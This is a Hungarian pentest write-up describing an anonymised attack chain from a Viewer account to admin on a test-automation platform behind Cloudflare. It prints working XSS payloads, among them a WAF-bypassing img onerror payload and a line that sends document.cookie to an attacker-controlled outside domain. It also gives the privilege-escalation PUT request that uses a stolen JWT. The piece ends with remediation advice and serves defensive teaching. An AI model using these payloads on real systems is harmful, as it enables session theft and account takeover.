Egy, a gyakorlatban is előfordult eset, amikor a rétegek nem védenek egymás hiányosságai ellen. Valós penetrációs teszt finding anonimizált leírása.
Volt egy pillanat a tesztelés során, amikor meg kellett állnunk és visszaolvasnunk, amit éppen csináltunk.
Egy felhasználóval dolgoztunk, akinek a legalacsonyabb jogosultsági szintje volt az egész rendszerben — csak megtekinthetett dolgokat, semmi mást. Mégis, négy lépésen keresztül, jelszó nélkül, phishing nélkül, brute-force nélkül, eljutottunk odáig, hogy egy új admin fiókot hoztunk létre a rendszerben.
Ez ennek a négy lépésnek a története.
A tetthely
Az érintett alkalmazás egy tesztautomatizálási platform volt, több szerepkörrel: Viewer (megtekintés), Tester (futtatás) és Admin (teljes irányítás). A rendszer Cloudflare mögött futott — ez sokakban azt az érzést keltheti, hogy „na, oda aztán nem lehet bejutni”. Az authentikáció három párhuzamos módon működött egyszerre: cookie-kon keresztül, a böngésző LocalStorage tárolójában, és Basic Auth hitelesítéssel. Ez a részlet később kulcsszerepet játszott.
Viewer fiókkal kezdtük.
1. lépés: Átjutás a tűzfalon
Felfigyeltünk arra, hogy az egyik beviteli mező — a tesztkonfiguráció „Root suite name” mezője — blacklist alapon szűri a beírt tartalmat mentés előtt. Egy példával élve: a rosszindulatú kódnak értelmezett <script> kiszűrésre kerül, az <img src> viszont problémamentes HTML-kódnak tűnik, teljes létjogosultsággal. A klasszikus XSS payload részlete, az <img src=a tag így tovább jutott a DOM-ba, és értelmezésre is került.

Ezt hívják HTML injectionnek, JavaScript-kód futtatása nélkül. A modern böngészőkben a kihasználása az alábbiakból állhat:
- a felhasználó által látott tartalmak elrejtése, kitakarása,
- nagy és rikító, de többségében statikus phishing linkek bevitele.
Egy állhatatos pentester nem szeret itt megállni: JavaScript-kód futtatása volna a következő cél. Csakhogy az alkalmazás Cloudflare WAF (Web Application Firewall) mögött fut, ami az első néhány próbálkozásunkat blokkolta.
Aztán kipróbáltunk valamit: egyetlen & karaktert tettünk a payload megfelelő helyére.
<img src=& onerror=confirm(document.cookie)>
A Cloudflare átengedte. A legvalószínűbb magyarázat: a WAF HTML karakterentitás kezdeteként értelmezte a & jelet – egy teljesen ártalmatlan kódolási mintaként, amit nincs oka blokkolni. A böngésző viszont hibás képcímkét látott, és pontosan azt tette, amit ilyen esetben tenni szokott: lefuttatta a hibakezelőt, vagyis az onerror részt. Ez tett minket később képessé JavaScript-kód futtatására a felhasználó böngészőjében.
Ezen a ponton a rosszindulatú kód bekerült az adatbázisba, és várt.
2. lépés: A kód végrehajtása — a keresési trükk
Az alkalmazásnak volt egy második védelmi rétege is: egy tartalomszűrő, amely a mentett adatok megjelenítése előtt kiszűrte a veszélyes elemeket. Ez természetesen el is kapta a payloadot még futtatás előtt: ha egy admin megnyitotta a Console Output nézetet, a szűrő renderelés előtt eltávolította a veszélyes részt.
Aztán megnéztük, hogyan működik a keresés.
Amikor a felhasználó beír valamit a keresőmezőbe, az alkalmazás nem előre renderelt szöveget tölt be — hanem JavaScript alapon, karakterenként, dinamikusan építi fel a megjelenítendő tartalmat. A második védelmi rétegként működő szűrő csak az oldal betöltésekor, a teljes, összerakott szövegen fut le. A csavar: ha a teljes veszélyes kifejezésre kerestünk rá, a szűrő felismerte és blokkolta. Ha viszont csak egy olyan karakterre kerestünk, amelyre a kereső a payload egészével válaszolt (pl. a vagy <), a JavaScript elkezdett karakterenként összerakni mindent — és mire a teljes payload felépült a böngésző memóriájában, a szűrőnek már nem volt esélye közbeavatkozni. A kód lefutott, és a HttpOnly flag hiánya miatt az oldalon egy felugró ablakban megjelent az azonosításra használt session cookie.

DOM-alapú XSS esetén a sérülékenység nem a szerver válaszában érkezik: a kártékony kódot a kliens, azaz a böngésző rakja össze.
3. lépés: Az admin token ellopása
Ha már kódfuttatásunk volt az admin böngészőjében, a következő lépés egyenes út volt — de csak azért, mert hiányzott egy egyszerű konfigurációs beállítás.
Az alkalmazás authentikációs cookie-ján nem volt HttpOnly flag. Ez egy egyszerű böngészőutasítás: ne engedd, hogy JavaScript olvassa ezt a cookie-t. Enélkül bármilyen kód, ami az oldalon fut, szabadon hozzáférhet.
A történetben plusz nehezítés lehetett volna a mező maximális hossza. A korábban említett szűrés miatt magán a payloadon nehézkes lett volna változtatni, viszont bele kellett férnünk a karakterlimitbe: a gyakorlatban mindössze 4 karakter hosszú lehetett az URL. A megoldás egy 1 karakteres domainnév és egy 2 karakteres top-level domain lett – ilyen rövid domaint a gyakorlatban is lehet regisztrálni.
A következő payload lefutáskor csendesen elküldte az admin session tokenjét egy általunk kontrollált külső szerverre:
<img src=& onerror=src='//a.to/?'+document.cookie>

Az admin böngészője egy csendes GET kérést indított a szerverünk felé, a JWT tokennel az URL-ben. A szerverünkre érkező kéréseket könnyen monitorozhattuk, benne a document.cookie értékével. Megkaptuk a kulcsokat.
4. lépés: Új admin fiók — egyetlen API-hívással
Azt vártuk, hogy itt megszakad a lánc. Érzékeny adminisztrátori műveleteknél — például egy privilegizált felhasználó létrehozásánál — általában több ellenőrzés is szükséges: CSRF token, másodlagos megerősítés, vagy legalább annak vizsgálata, hogy a kérés egy teljes, hitelesített admin sessionből érkezik-e.
Erre a műveletre létre is hoztak egy védett funkciót, amelyhez érvényes CSRF token szükséges. Az API azonban eredetileg támogatott egy másik hívást is, amelyet a fejlesztők a védett funkció bevezetése után nem tiltottak le. Ezt a felhasználókezeléshez használt PUT végpontot a tesztelés korábbi szakaszában már megtaláltuk. Az XSS sérülékenység felfedezése előtt alacsonyabb szintű biztonsági konfigurációs hiányosságként kezeltük, ezután viszont láncolhattuk az injection hibával, ami kritikussá emelte a súlyát. Nemes egyszerűséggel küldtünk egy kérést a lopott JWT tokennel, a kérés törzsében is_superuser: true értékkel.
A szerver 200 OK-val válaszolt.

PUT /api/v2/users/9 HTTP/2
Host: [anonimizálva]
Cookie: Token=<lopott_JWT>
{"username":"attacker@example.com","is_superuser":true}
Az új admin fiók létezett. A lánc teljes volt.
Mitől volt ez lehetséges?
Egyetlen hiba sem lett volna önmagában kritikus. A WAF-megkerülés csak egy szövegbejegyzést tárol. A DOM-szűrő rése önmagában nem ad semmit tárolt payload nélkül. A hiányzó HttpOnly flag alacsony szintű konfigurációs kockázat, de nem exploit. A hiányos CSRF-ellenőrzés finding, de nem teljes kompromittálás.
A kombináció tette azzá — és az a tény, hogy minden réteg a másikra bízta a saját résének lefedését.
Ez az egyik legtöbbször látott minta penetrációs teszteken: papíron többrétegű védelem, a valóságban egymással nem kommunikáló, egymás hiányosságait nem kompenzáló kontrollok. Egy türelmes támadó mind a négyen átsétálhat.
Amit javasoltunk
- HttpOnly és Secure flag az összes authentikációs cookie-ra. Ez az egy változtatás a 3. lépésnél megtörte volna a láncot.
- Az érintett tokenek rotálása és a kompromittált sessionök azonnali érvénytelenítése.
- Szerveroldali output encoding minden felhasználói inputra renderelés előtt — nem csak kliensoldali szűrés.
- CSRF-validáció minden érzékeny API-végponton, különösen ahol felhasználói szerepköröket vagy jogosultságokat módosítanak. A JWT token önmagában nem lehet elegendő adminisztrátori műveletekhez.
- A keresési és megjelenítési logika felülvizsgálata DOM-alapú injection kockázatokra. Dinamikusan épített DOM esetén az összefűzés után kell sanitizálni — erre a DOMPurify könyvtár megfelelő megoldás lehet.
- Az authentikációs mechanizmusok konszolidálása. Éles környezetben session tokenekhez csak cookie-t érdemes használni, megfelelő flagekkel — a LocalStorage és a Basic Auth erre nem alkalmas.
- Szigorú Content Security Policy: az inline eseménykezelők tiltása és a külső domainek korlátozása a kódfuttatást és az exfiltrációt is megakadályozta volna.
A tanulság
Egy Viewer fiókból Admin fiók lett. Nem loptunk el jelszót. Nem phishingeltünk senkit. Nem törtünk fel semmit brute-force-szal.
Négy kis félrekonfiguráció eredménye egy sikeres, kritikus támadási lánc.
Ha a WAF-ra számítasz, hogy megfog mindent — a sanitizerre, hogy megfogja, amit a WAF kienged — és az API-ra, hogy megfogja, amit a sanitizer elszalaszt —, lehet, hogy csak egyetlen & karakter választ el a teljes kompromittálástól.
Ez a cikk egy valós penetrációs teszt finding alapján készült. Az érintett rendszer és szervezet minden azonosító adata eltávolításra került.

